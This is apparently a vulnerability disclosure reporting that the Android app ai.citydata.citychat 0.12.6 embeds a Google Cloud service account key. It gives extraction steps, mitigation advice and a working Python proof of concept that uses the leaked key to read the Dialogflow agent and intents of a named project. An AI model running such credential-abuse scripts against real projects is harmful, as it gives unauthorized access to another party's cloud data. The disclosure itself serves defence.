Description

The Android application ai.citydata.citychat version 0.12.6 embeds a full Google Cloud service account key file in its assets at resources/assets/flutter_assets/assets/credentials.json. An attacker can extract this file via reverse engineering and use it to authenticate to Google Cloud Platform. With the stolen credentials, the attacker gains unauthorized read‑only access to Dialogflow APIs, allowing them to retrieve agent details and list all intents. This exposes the conversational logic of the chatbot, leading to information disclosure and potential misuse of the extracted knowledge.

Step To Reproduce

  1. Decompile the APK using jadx.
  2. Locate the service account key file at resources/assets/flutter_assets/assets/credentials.json.

image.png

  1. Use the extracted JSON credentials with Google Cloud client libraries to authenticate and interact with Dialogflow APIs.
  2. Run the provided POC script to demonstrate retrieving the Dialogflow agent and listing intents

Video Proof of Concept

poc_ai_citydata_citychat.mp4

The PoC demonstrates retrieving the Dialogflow agent and listing intents.

Principle

The app embeds a full Google Cloud service account key file (containing a private key and client email) in its assets. This file acts as an identity credential, allowing anyone possessing it to authenticate as that service account and generate OAuth 2.0 access tokens. Using these tokens, an attacker can directly call Dialogflow APIs with a read permission assigned to that service account, which in this case includes read‑only access to retrieve agent details and all intents.

Mitigation

Remove the service account key file from the application assets immediately. Rotate the compromised service account key in Google Cloud Console to revoke the leaked credentials. Move all cloud interactions to a secure backend server that acts as a proxy, enforcing authentication and authorization. Store all secrets using environment variables or a dedicated secrets manager.

PoC

# 1. Verify whether the token is valid
from google.oauth2 import service_account
from google.auth.transport import requests

credentials = service_account.Credentials.from_service_account_file(
    'credentials.json',  # Replace with your file path
    scopes=['<https://www.googleapis.com/auth/cloud-platform>']
)
auth_req = requests.Request()
credentials.refresh(auth_req)
print("Token is valid, first 50 characters:", credentials.token[:50])

# 2. Attempt to list all Dialogflow agents
from google.cloud import dialogflow

client = dialogflow.AgentsClient(credentials=credentials)
parent = "projects/citychatflutterdev"
agent = client.get_agent(parent=parent)  # Get agent information
print(agent)

# 3. List all intents and detailed information for each intent
intents_client = dialogflow.IntentsClient(credentials=credentials)
parent = "projects/citychatflutterdev/agent"
intents = intents_client.list_intents(parent=parent)
for intent in intents:
    print("Display Name:", intent.display_name, "Full ID:", intent.name)
    try:
        full_intent = intents_client.get_intent(name=intent.name)
        print(full_intent)  # If successful, print detailed information
    except:
        pass  

Impact

An attacker can retrieve the Dialogflow agent configuration and all intents, exposing the chatbot's conversational logic and any sensitive information embedded in training phrases or responses. This information disclosure could be leveraged for social engineering attacks, competitive intelligence, or to identify weaknesses in the chatbot's design.

References